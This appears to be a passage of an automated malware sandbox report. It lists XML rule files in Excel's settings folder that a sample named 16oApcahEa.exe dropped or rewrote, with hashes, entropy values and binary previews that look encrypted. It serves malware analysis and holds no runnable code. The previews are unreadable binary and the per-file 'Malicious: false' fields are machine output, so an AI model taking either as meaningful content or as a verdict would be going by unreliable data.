File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.530765657124685
Encrypted:	false
SSDEEP:	12288:rDM2OPU0nih7ovzXSZlV0N8x5thr291gess3TylunXF:nM2VUqkn
MD5:	69B18B3D86932E2F07684070409011EB
SHA1:	71981864E15180818C50F667B78D7589F6DCDAB7
SHA-256:	4CC5AE089148BF02480851672A01E9EA9CEBC19FBC3077B57E0B7C34328B423A
SHA-512:	111DB9678DAE3EB7B30025100065723E5F19CF85E3FBB20878B14C9CF84409C31FFBDF67DE2D54F6671C106DCFF8C391C46D0314DCD57025C30FC867B04035E6
Malicious:	false
Preview:	<Rule.......<:%.&K.K.C..Z;...u.....&....M.."..Ub.$.8.nYv...].....v\._c4.P..$.h.z..dL.yn\|L..:B..U....N?L5e..#.V.`.1meQ.B%..v.....G..E .]...V....\|"$..:.~...5.d..dj.l.K..v..33,:.(..F!.]...0...F...........B.w....'O..w....4/KkcZ.F......C.....b..1.-.r.J.W.S...?..U..r{.F..U/6..y.[^!dx....m./.j(.9.Cy...~(..$ ..1\....U...j7=1...u..\|.y~..g8\|..Di...z.%....#.R.f(gPcS...x...l..D?.\|....KU..hb.......Z..a.:...G.98YV....RB.. A.....+..9..q.8..._l.Q.:..E..uY...e..y./~.$>[Z...e.$...\|...p.S@(ts.v.n.....Yi..I.C:.......T.&Hm....Y.j)...8....5..T...U..i"....R7.c..O>.&........-.no...........u.2z....xBD.i:..g......fh.`....l}d.iV0......E..$....t2x.......i...s.1S.....iL.\|#-..u.r......B.S.t...!...Mjc.Q"\...."~..).?>..qE..xnai........W5.G......S....80.o..}.Z.3..].szW}.k2.C.7....\|......u.!a3..q....[<;.*...Vh..Z..!..b.&"....l....d0...CV\.=..G4(<Up.q..qodF...aA\|g.Cy...........6...N.o......V9Pqg..v....V........8.\.K..C,M...;.V....<=u..`....Xq...pLj..g=X..X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.680920643439149
Encrypted:	false
SSDEEP:	12:c5nIwdTiccUEnt9J4aDfko7TztBgV/xogXEAhy26p5uH3x27R7a9M2cii9a:vkOs+zxfko7TztmoegDuHhE7a9pbD
MD5:	2C9428CC2C8F590F2D2EACF49BF4BA6A
SHA1:	55C9F75A8D9AAACC9AC33A9BF7253FA6DAB74BCA
SHA-256:	4C37719C9C3BDD7561D7AE2A49737C441561571A22D460F58A5BFEB7CC836CD3
SHA-512:	E62FD816A7460C6D2CD6ECEB1882CC608976FC7D72B28349CE72E10FF33322A98907D1AEED52E24D154F65EA0D5AEFD76787BEEA80A40FB4FC13455260B2A6C4
Malicious:	false
Preview:	<?xmlh#.W....i3..........i......qH.]5.\Il..N.rF..S.W.\|....6.H.%.fJ%....}..J....9.8..;.....%2<.z.U5G...o..@Q_.i..kY..........n...Y.v.......+.',X.Q.....<...\.....9..%..%........$...gm..wK.,C.......H....]..(..X.n.\.......[...2..G.o.<........w.E.y.=.......aJ.CE}.r..H....:<q.D-+..k(.?......f...Vt..T\|......K.E.~.........c[.....>......;...H@....M..}.Q.X..jF.`{..).GmT.s.....4....y..02..a..G..mej$#L.Q.w....%E..\|...(G.zx............0.....N):Cv...J.v...(.P.U....)......<.mu..8(*2.?P..".(F......UR..F?./........(.....X.H..&...c;[<....5....Wn. j$.....L..2....b..X......2..C}.....~b..FQ)Gy8 ...i..X..~......(vkC...a...}^b.Z..?.\|.3)a{...&{T.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.8224700625745385
Encrypted:	false
SSDEEP:	24:aePUfKHOnlnzxT5LNQbtinin/3qmThyTYUru0ed6kX9pbD:aZPdXminiyMhykUVxkJD
MD5:	95E3C9AC2B7240A68ADF2A22B413C9B1
SHA1:	8DB7C7FD11A41C25E74C395D8BF62CB9B24CF6F9
SHA-256:	D36D403E9BE35F1F11CE75D3DC13E2B3F333CBDC6A1C6B4F08400B46E36A50C9
SHA-512:	42283A472A4FEE8AA8C4CECBF2DE49DE1E2095CC268251A89DE1D706C03AF7A8CD63C649CAEEE82932853C5F548545977AE89BAFCE53DE3D16DDB322CC1121DD
Malicious:	false
Preview:	<?xml.}G...]S._8.%au>.%..G......v.J.d$.V."h..K....h..].Le.$r8%K..J.c.]dY.......A...l...U.z.{.....7]c.r"...t.g.....)_`.......$f.1.F....@Q..deH..r7..........v.#.../.=).+.....PT^....p.'d`.....=G.8.j...u..H[.^......$.L.X'.lfl...s.+.2mUe,^.....F.t....!%&..N..F]....N.+..S...R.^Y..V.C......H.M.. .A;x.<...V..F.........P5...M..N....#.8....yU.T..9a.w*(....sc......hj....Z.+.;/.....S.pi.f...6.9....hu.Whx..J........#....W.%..\|.r.j...K......g.+.:".c....}Z..'D...t"....W..].!oD....u..g.6..........C..L/..f.J9.[F.....r.h....lv.Q.....p.,.I0.`......^......9.....H...)}FI.6J.@ChrK..G.kW...%.{+....&..&.....c..E.......a.p....d.EZ......L.Dn.....bS.....`y..o.....u..J.).3.P../.IM[4.8..6....Q..%_....Py.x.$)..0.....C.O(T......_..>,..C8\...G-...,.F.......).......c.\|.. ...1=.tB5...TNc.^...SWm.g......'nn].............g..;(v...I....L,.".%.^..O1f.K.S....{..lf=.{l.b)h...M....Gda.....3.I.z.Vm...n.#,...J>....G...8.../...]T...b2Ar....?.&_........&?....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.538319009448416
Encrypted:	false
SSDEEP:	12:+q+xoDBefOLbLAmb6kNT1C2+Rd58H48mBs9M2cii9a:+qv8fOMm+kRU2cd58H4Zs9pbD
MD5:	47327B43EBBFBCE1206F16E7DD817748
SHA1:	DC25A02DAB0E0339BC62DFBC6A2CA11E74F12658
SHA-256:	26F106586D8DA18FF6FAA8F085B2EC51A9DF843AB31C4ECD79F99D056CA31E1B
SHA-512:	AA5762CD9E40765CC8026E1E92FBE37CF97760BA3DB4A02C3A3CB17214AF50DFB86A81D44938C2461ACDA4F7ECE20D45D87E58C46EF1FE76E5B72C72487970B5
Malicious:	false
Preview:	<?xml#{.[".gxp2...g.R.,.....b..X..;..C.f.q....rG...%._..>Suu;.K...&,X..x.w.%G_2..~..5.F+S..>.....>i~..Q..F..?h7....89..X....o.8xA.]<Y.....4g..p.sI<.....K{!noY..z[o.i.x...P.p]4VJ......r}.eR....>B...[@I....T\|.l.+.......(B...jL.)..........tw.l.GV8..Q..4.`.A3JEn..m..5d..hH........a..,n]..`...K..c.H\|..E......Q..h.G.@..$....==.$.........#...#.YG.g......K1.-.` ..C....N.FnD..N..78.<.A.j]uw.Q...8.B..p.D....`ZG.....z9.....m......y.h.#&..=..wR&$gxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.913364578051471
Encrypted:	false
SSDEEP:	48:IyDbLzPWnnj4WFknXJs3tSdF4yMLMKd612ju/u80R8Nx1JD:vbvaj4EkqtYKytKL8X3
MD5:	C38AE405989B3B7C062799427852575E
SHA1:	8E87EAAFF18C5B27169E797801EED9A44165BF81
SHA-256:	B418DC69B49C97644D51A777EDA9654F6770A5FEC9300FED5F2CA46438EBAFC5
SHA-512:	155B5CEFB22BD54F46202355C14F21008C643D31314C66C1D62AD2CFF185466D6852B4EBF4E25F74AB0AF66A54BB0DD85757E05F68DA8D3792E86D77EB7CF424
Malicious:	false
Preview:	<?xml...:."Qc...5..I.[.>./r.]SGG..u..\|.....Z.r].u...t......ef.cc....uv.9....-/L.vq.$/.'N....cxIu......)$9Cw.'.....O.-}...+8}.l1../..[N...Dn...}.'..v..iY..b>. \|..S.\|d..{R.N..Y.?..}...S..\!/u..h..6..~U....,.xCB..l....4Ssz+.....-..b.,...~2.. .j$.w.......eC...".3$.W..C0.&..,o:z...#S.(....&.t.j.....U......"&..V...+.f.x..d..i...u.O...Ht+.I.`..W..lqj.N.......d......V.#..........s..6..$q.)...:...a..H.@.O.@...DM... .1,........uX.S.(..[.-......pK..!){.s...#._u.~6.`..8...uy......v"L..`)8\|I...xC.M4.=....\.k.........8t....aT..V<....b....].B=.\..uXp.o..QI...jG.8..'.a(....M..5...y...RGb.....Kq.\.+$.i.%..;.....M&./.Ai.T....F)=y.^...6..'A5\..b.\..5,u(.....P.]..is......S....b..9rwm.8.`.^.G.8h.......[D4.l.`#.0..)H....y)/...!.A...I.hH......T.Q...F.i..l.......K..d...i..._\/.y...g.3.N......Z.[.....N....h[..*.... a........)t...#....g.Uz.............@..m?.."I.6.xg.i...avTe.X...+>.{XQ.{..;..BDa&6..hg..W5...~.F$.'.t8f1.J.h..^...y....8,%..Mz.....A....0N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.686345468761595
Encrypted:	false
SSDEEP:	12:yFWAc2hCCOYx3PXEAvfbAo8j0Foz67MpiuFdl2QvNFrI1EkJ6V2P/gcTWt9M2ciD:yFdhwwN8o8jnfpiGnjvNFrI96Vout9pX
MD5:	A136D0E0526A8FB22C4089334B142878
SHA1:	BBD1F1FCF5D9FFE6C025CB3123FD6E4206627293
SHA-256:	91BF42DFB11AEC8F58F5DA37BAC67C45AFEB4108BDAE8056D36A14863F695A13
SHA-512:	72A2E1312E0F1A0D0AF9ACCB04EAF312B1F29B8C4D2ED2DF1208E7527F781AE2A99EF742F1DFE548B652F7E1F95AB33000C0EACC86E946AF3030B6FDED8D0DFE
Malicious:	false
Preview:	<?xml.\|c....}.d.......y2..Ck.Iw.....!.6\.>".w...}_....q.~:8.Al.../...3...D.0:....m.G.t.ssv.uF....UsP....9.......,.l.D=.=.....V(.b..8."...^.....i"...)...M.......M.v...#..e&.].-J+.V..VJ..,.y.A..<..~.9+..2<.\|2...f.......?s.;.9.....G.Y.....@...Y.F{.`.g.G.....!...6......L.......=...v.y....T(YL..~]Q-.s....%t....>......nm.<......P.xu.S."l[.1pI...?9.....7.Q....lRD\|.y8.f_.FX..7`:B....#".(`'..B.]...1vHf... .y....Unm...S.D.Bd[f.S_0i...GV.XA..G.c..n...D$.......l.Wj./.%NP.....z.d..h._.P.EXop8j...=.p..5.8...#..F.....G..k....9...n.l.h..s....&/.<.7F..?..7@X...X...0.5@1..6..d.....<...Z.,.......u... ..W.Pt.........w.....3....i....h.hG.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.713424107949033
Encrypted:	false
SSDEEP:	24:tZ3ws9MVzkyBWiRQm2o9Nh07z+GZxsWwi9pbD:Dg1Qm24i35zsWTJD
MD5:	3B24C2A52C0044AE36A8D5262089F379
SHA1:	1BE3D6337BC34DFA7C694D7C1922D4DE2BA1ED96
SHA-256:	C01551EDBAD4AC266BA3AA52E97F96B1F6277344671B4D71A42517854C89D91D
SHA-512:	D5184DE61A9721D4301380691E172CF774311B9A4FE819D88D348EC0D05CF9F2174C919E02D9B4706885081E57568E98BC7EA2914178CF7F7651F550E85C0815
Malicious:	false
Preview:	<?xmlA...b..vx..\|. . .J.k.. b.J...I..xy.\.._:0553Pp.K(.A{\|.4./.p!.,$.+..T=pj..g.B....OC44.....\7.C)K.P...c(..X....Y....J.><.<1.D./x)X.....C~9...".......2..NE....d.D..^$nE.!..C_m....i$58f.w..i...Vm;.n.9.\..+.C%...USk. ......F`I!{...K .S........ZKE.(.".5_..j}.....s.kL.....oX_c....Z.2.^].......W....rK.)f.<..4.G...{$.)....g.Ns.Y..Q.g.~.Kg.,.%.*,A...A!.+..M'(....,A.....p....9...B."?../.>Gn.&.\|[\|]H.\|.E..J%8L.....y. 2....kc.e....i......D?.(..`..G..b.i.......n..0oY.........mMf.Y......uI..l....!.J..d..pM.7...3..u]KLNQ .#.(.D..x......BY..6."...rSKz/...U...d.KB.%..ssG..5...t.v.2.j....,d.s..F{..C..\|....y..........,.............x.....~..\|iNi.p..).^.C.I.h....SVaF.:p..w6...........W%Y..x.......^w..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.702367040887888
Encrypted:	false
SSDEEP:	12:6pG6kWAjGNm+Zu7OwuSXXUflpomo90p418GQs4CACWdhltGFBNuM9M2cii9a:mGlWevBd9XclpLp43l4CACEhlgFBMM9h
MD5:	E1464B4CB27441C04D0D59F336EA5E87
SHA1:	78A2D783C48DA297234FECAD0FC5402B6FB887D7
SHA-256:	32E085F9034FD8535E67601B6A789E0DCABAD148D2B321BC77CAAE22CA833518
SHA-512:	45C3FE85001F0D71D05207570E032BEBBF53E010FA1364361FF364CFEE5CF2387940215863E18EB7323B4EC2C9102D4FC6D7FD8D85E446D13A4A751E8553AB39
Malicious:	false
Preview:	<?xml~..of.R.G.%....]]....W.......~6......w..[h....G.U....A6qs....p.!.....gk.z.67...L.r\..>..>.&.=..Y..H.....b.m^...%7.[...N.e...1..X.....y.7.e..Rn./n..Br/'&..ERX._.......X..T.3...&......U.^.E.....,.6....&.bD........L...I:.p.6[.L..2......A%!Hc.H.#.u.G..\.X.....^^...z.....6m..:....eWv.%}.5.>..N..D.1.......(.+b... .......n.-..1V..k..F/.I..K....&l\...Z.....lI...VN.[D.T.8...bn.Z.f.....s....J.ef.B.C....(QMHi.&.H...S=..[../N!.)I D$h8......T...HG,.X'?h..`.4....=.I..3.^.;....kOme.(.....`.l.%..5W7K(fD...x...;....KElL.>$.g`ojR33.4...y.O.I...a.b.._E.E-j.)."v......T.P/8;.G..k\|.G.Mm...._..z.v@V!.T......T.5..~... .<..._A...2#..+...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.751001074259438
Encrypted:	false
SSDEEP:	24:zqHgE3kqOXHNkTEJiToAxATrj5azeXjBk4M3+u9pbD:GHzfOXHNwNbKMe1k4M3+gJD
MD5:	464778F8034CFEEB7703824B47E0A1DA
SHA1:	3E8F4384853B1617443B4E5AB216B15EDCBF29FF
SHA-256:	61BA74A9F7C4A403EEA7E72A2543BF7BB77E9EAA782A3C26C277BAE9AD50DE21
SHA-512:	241B60397CAAED9E35989A4DB6091CA259B168054C68B679A9640E402858CF07C992BFF2B30DBFD125EE930E0C0C758AADEE905E4ECF380BC82E50363B0CCA5D
Malicious:	false
Preview:	<?xml.....Cs..........-w...G.1.^G.\|.. ........hB..9.i;;..\|..y.Qu'.4..H.....5n.g.QiN...e[.3.....w`&...&..e.X.wa6J......:.j..5.iI...w.....SY...p.]........-0...)F}.o\..ubR.b.....;#A.. ...7....i.@h..M...4?1....H.......m._..p...Y.FHq...R......X.... ..`u.TN.Z..W).:...VL....s.F....I.;...X..:...w..+.....=.F/X7....j.....A4;+@..E..>#........}[.2>....z#..M.Pj.)...P.!..d<.'..........].j.TV..A.d%d{.....)i..~....[.w$.Z..D.......\,...2..P...)....Q.....(........c..W......(.......u...).pA...F..q.Q..Yf.O\|..C..b....6.....<Q.`.V.T.i!.v(i...:.6."...:..;.... ..G..."...9.W.d.y..Mp..v.,C..J.....(.....%.}i.:8z..t'..S.V...}N...9]M2C..H6.....U...K.x...]Q.0......r*..&..mKRl......[m._.x~..w....vp...$.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.798384781330828
Encrypted:	false
SSDEEP:	24:Dm53lsEU818X2uAeiPLTZ5P1J6gOXwgOy7A2VoPOF0PuK9pbD:yBlCgyhizT3tJjOnOyU2yg0FJD
MD5:	B6A1F55DDC54D1483A9AB3F01CAEECC8
SHA1:	2DF9DFF1393E4D645093D89B7B22AB33B6770B3E
SHA-256:	B857AD2FD15403CD83EEF8761C71B7532C5931A565D2704247C5C9DAD6A7F53D
SHA-512:	1E223B65AB1818F612AB64E7EBBDFBFAB924147067356ABC77610771B506BEC87A7E23B13A3AAD46D6FBDDE3733529B1119C587081DC8F9F58000C54185F5D4E
Malicious:	false
Preview:	<?xml.O..{....R.\<o8c.o,.~\..mY.......x..7.MQ[MN...;X...i.q...FT`j..o?...] 9.,....c.}..._'....qzR..k@...%..e.X\|.U9....i.y9..Y .N..3.l.=W.g%A..9...I........vS9...N.U.EP=.V4......bO...UV....... ....!...>>...}..i.K./a.v.9s..O..O.n..".o...s.p]M^..&.FC..l.%...xq9..X.......7...~.....#...@Ut....I.N2t...N.....}...,S..8C....M)...=np..hc...C.a`..2.uw=..M.N...k.....{.r....!.\._.e...CaM..j.7\|..}....\|.M]N....N.....Z.I..R.4.$...-4.1.c.&_.$.<.+....n...{.eWOd@<..-.(5...m...Y..?./v.#6.....\./"..."...%..y...;H.%...F.cz2]..g.......~........-...S..[$.......DP..?....M.......g.......%. x..h.I......c%)..7.R-....H..`..Rm.0..f...w$...fU"e..T.x.ul...*......~ub5.......<.YT.J.0-m.6...k..T.>B.:..........qd..U#...#...-..M.1.....Y........%^..L.)..e.Jd.U]P..a.6.}..I...K.f...qW%..,.bS.&..&U...ix.......WP...G....W.-...6...@.nI...DHr,..~Q..&..Wt......<. $"7<.Y.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.709283526543385
Encrypted:	false
SSDEEP:	24:qwI8XAFMsa7s365vNMjQ8mJId0RT509pbD:RI8QFNa7+6FqQTJI6RkJD
MD5:	8CE7ACD3C71CD46230A6FF57594B5EA6
SHA1:	34AC162CB1589F412CD0FD9751C942EA651E58DE
SHA-256:	AF99F4019AFA0D08204777528C147ED83E6D2C5BE74C67AEF456CD74C2B2BD72
SHA-512:	D0B2F7BF3AB4193F5304ADAC8738FA850C27B4FCC2BCB6A2E8D6216E2ADBD2A2010178F85289FCC4B31A41E7E1F18C352FBF060945DCA3D8A262DEFD0EA8FAE5
Malicious:	false
Preview:	<?xml..;...\|....k._@x...p(..KuK......6^tX..".KJ......l...v.+$I..A8....GR.....v..... .`.p3M....v.$.K..$.v.a).q70.5.tp..].....vQ..\i0.;%V8...i....U ......(c...9.3p.m....s..\|x...... \|.....ow=:..0.eR...f..$%....J[..G.4....W.X...wF....y.:Y...#..%n......fg.....fI.we2O...L.@.&...S.`...k..{......\.2.f..E...j.H.<..\|2.......:D.q.N+O."..a.B.....sPJI.A...v.bO..[I}......r...k'(....d.=&\|Mx....J..."..;......{..1.ZZ.'G.qP.=...L.S....../\k.X.u..m..c_8$..`..[%..qo....l..i.9.hAY).H.........-...i.w_..a...w3./..QDL.D.z..u\|t%..E.ZE.R.!.6.Kk.?,.s$..cB...\.Od..q.cs.{D"A....@..`&.i.V.%.....#....]`T.cn...............g..V)......D.g.YeV.T..[.u.....H].?...e!B..;c....k\...*\..A....i..!..%4..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.675403939702731
Encrypted:	false
SSDEEP:	12:5ZqpQTzIlur5tzo75taLllzxNk0xMSJjHoGOhSWwZ8EPe8e867Wq7UE+AO9M2ciD:KpIIlkI5sJl9MSJjIG2SWwCEPTeH7NYJ
MD5:	C2206AEEC2439D550A2E6BBC418A5F16
SHA1:	51F6E6F46FE3DADF2EA60910D48A753455D4B1C9
SHA-256:	ADF2F65F5AD0A1C84EC0CB2894445D6BAFC294C9ECB7C383FBC6E1294619DBEC
SHA-512:	4BC66CA58F769F6628AA55BFE8C6FFF9D1DA696745F40D7CBA585A993F25775620A7DA98BC5E8CA9EC1E222D961FBECEAA7A3C03820B0045CC8012A5CEAF768F
Malicious:	false
Preview:	<?xml,4z..K<.F.5?..i...6@-..H.JY..Vm...(C6..P.V.fem..nXr.../%...8.+_.4...X.)...=.;d.s....V.)......8.8.A,L<u6M3...\|...;..N..$...9.........b...`.%.._...Q...x..>..!.b.8..KE>..;O.me....] jZ.wL{j..@W....Go:$~.q............F....d..V;.\.[.......<c............S.5D.'...2..mJ.....C..w.....`..Q.vg.O..\.....6D....5.F.O..80.m......$d...y..d...2...cUZC.:...n[......w.fu!O.K....gq................p?..u.....Is..9..}..Y.N.R*@l....}....`<&.A. .z-=.\|.0.....:..UU....s..?...'...H.&.7L...h.y.n.3....~.f.S..M.`j..C..".f.~U1+.Z.L.......!...s...s..P9..a.C%.E.../d.O..<K.#......O.!T.._.J....f..o.c.f....j..R...qg....4.....[...0PftM!Z.o4.%..H.-$i;..../.h....#.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7138984122426
Encrypted:	false
SSDEEP:	12:JprW9Y3GIY3p5CXp9W8aphsm+9U+XrtXrArWv4Pqb3r+ICQ2LcrpqEm9M2cii9a:Jpi8YKXpGzh+XrtbArZPqbbpicdm9pbD
MD5:	A9253B4996C87E7BAE8D57DB614B0C0B
SHA1:	DBEE39DED230BCC1F63C3195A61A67BDAD5E1CF0
SHA-256:	064B2BA7D4CD63A3B55B9584DCBF8609628268C02E325961F69FFD3B8F7B54CF
SHA-512:	A0F162B431BC9C8423E8E8382C50CE293A5BF7663E3D2794FCF39FCB8A0E9561950E0EBC7DCFF8511B0C72BFD6CB6B32FF36B64B4E5A5AE159FA19758B742CD7
Malicious:	false
Preview:	<?xml..+Bj...e.oX.%U.......{.zG..'....#...^f....P.P..&C6...#1@..;.>j.q...a]...y.<g5...s...\0..1....5..Y..S...Z.......U...=3.@.....s.BlD.H..O.....<.......'J.p.z..]`.2...WD..)[.. .t...{..u....a.R\#...j^..8.....Q.n4xo.8.."/......[....11...Gd..>.$...a.h.{X..&.....?&....^3..F2...=.3.-./bAaQ...-..I....j.).....J+).. ....f.....w.....-\|.IY...b5.......z~h......P.B..(...]..e,..n.K......x:...i%...&N..3...fs...._...h..rIlG.j.W.M.g.y..U....K.m'....E.....{8N.H)~.a7E\..]\D.1G.N..Q!...^..!XB..)~....nj....$*..{..\X9.......!...Z..6..c.'}..T#.C....)..:\|8.S.d~.4..+.O.xU....r.......A.~.,....h@$.9..X..k.{........c.1...].st~.>..z"...&_.(.."...w......R.........=......a....)?.......".....%.J.M...$.o.A.>>M..D?M....<.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.703867304490475
Encrypted:	false
SSDEEP:	12:Yn3E/KzoUBLtlVu+vaNpj2uX0NvSqsv6V8dVzWRu8vJI7qbSygYa39M2cii9a:Yn38KaNFT09Sqh+VSlB9bBgY29pbD
MD5:	4EC348CB68658E9D916C1C989572E967
SHA1:	428B7DCBBAC25877293106397B453718B7B78CD9
SHA-256:	1B05AE3D31206DEF67E91C405B155CCE868A850D5CF240E987A29687331A0777
SHA-512:	D881214AC9E8D64E6C7303F6FF415F5A116DEDE388D996B3CA2BC7BDAE2AF389363A8CA644275E3008BB105BEC0F75654A6F020F780524D55728E81F1D1974E4
Malicious:	false
Preview:	<?xml.8.3&]?...d..1.9L_].71p.B.t.]....q..k...Qa.S....W.c\|.[.<.)Y...lY..b...HlU..H.P.j.............w,.......(fEJh...%.o.6...&.zx......cnz7y.........[E.2...JA.....\..d..5....Y5-.;..B....,.2..Cb...x..KD.t..S...$`...XDmp..@....?...e.E$A....l.mA....8.'.r.......p.!.R<.79..A......pX..bb...G..l..Y\|.\|......7./.B.....p>X.}..gVa.?{.X^........1.s........GI....L}........{.p.R.._..........4.!%....s....'.....J.A....9.....%..D...n...T..I.$...A.o.l. .9G.X.qO.u..o.ra.L...jm.7h.$'..._$.h.1M......B....n...z"k.3..u#u..7.....e.y..........l.-d..Y.........]T....z..._W.`>.t.hz.....ye.~.:!`..(.D".E.J.>6..C'...8...m..H...#v_h.m..QNnv.ua."..JeXb...\.p..m.2..~......\xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.715746061027357
Encrypted:	false
SSDEEP:	24:xqxWJqa5n3/wmZvFV7joguwiPVzSVD4qc9pbD:xbtx/lvFVpjiPVzSR4qyJD
MD5:	A63A5264AB00DF5C98C5126B9F66AB7A
SHA1:	0368D5BB73802BB65342F2CCB75EA40EDA76A0FD
SHA-256:	EDBE6D7F1423C196FA2D84979D2072912D9FAC1BEBE7CB15496DB5F005D5A874
SHA-512:	FA865DA434122BE8F78252235003CEE0ADBB6EF6703EF916289D77BAC01C55C84F776ECEA6C8D86685C098847829FB42CAD73EDF33854B0B560FD8E6C67A5726
Malicious:	false
Preview:	<?xml..tG.M.UY..L^.....&._.{..a...b...Z...$......i..h....^pg...O....o.>.}..G..hp.6b{..Y.Q...P.?.......].{.........8.S...\...3...S.w,...m.).us..:..Kv.ZM...&m-.F.#h..b.c...........t....{3i$W...s.c....#.....>.q.k.o9..M};.3..O..^.0p.#..LE...4x1..B..R..S..}..t^y._.../.....!:ME]F....hf=...^.....0.....{..&.o$...cP..#D...?....3.pd..aA.....5?v".J.kx.....G.....V........rE...2..&..\|..f..U.`6..(.U...}....h.z-:...........rD.=+....o{l.....$B.7... ....T.d0.`.`...oT..$'...A._.:0..Gs.p..3.O....../..N...t......xSO.`9_f$.5..y....`.jC.....u].........l].w.X<X.....a.....J.9 z..je...@%....t.8....\|S.Y......r....mFf......)..H.T....a..i.D..3.vX]..4.w.F.+...OF>..k..;.....e..1..)m....Ko..I..P..[....$..-X..c.....}.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.688009380496215
Encrypted:	false
SSDEEP:	12:wLL8yOsbYjMM+nVxa9jj9SBJsh9VlasSZX5RqPfSvCgUeKcYJ/jKZJ39M2cii9a:SdtnC9jSO9HSZpAfE7E3u9pbD
MD5:	98361473D4F42A9915D45077DBBC09D9
SHA1:	9CA04DD57500A86AE3C1A43E93EE9671D6374053
SHA-256:	5381AB6EE0DD2CC2A883CC3D2A97C0B56798119715CFB1C2B13549D13BC210BE
SHA-512:	72DE1B5810686B014483DA507A71E70745F6D5D09487E073E8F6E0F9723E85454E75EF83AB19C711DCAB23015C3F8259191FDC4816CC73DB5C52652870C99474
Malicious:	false
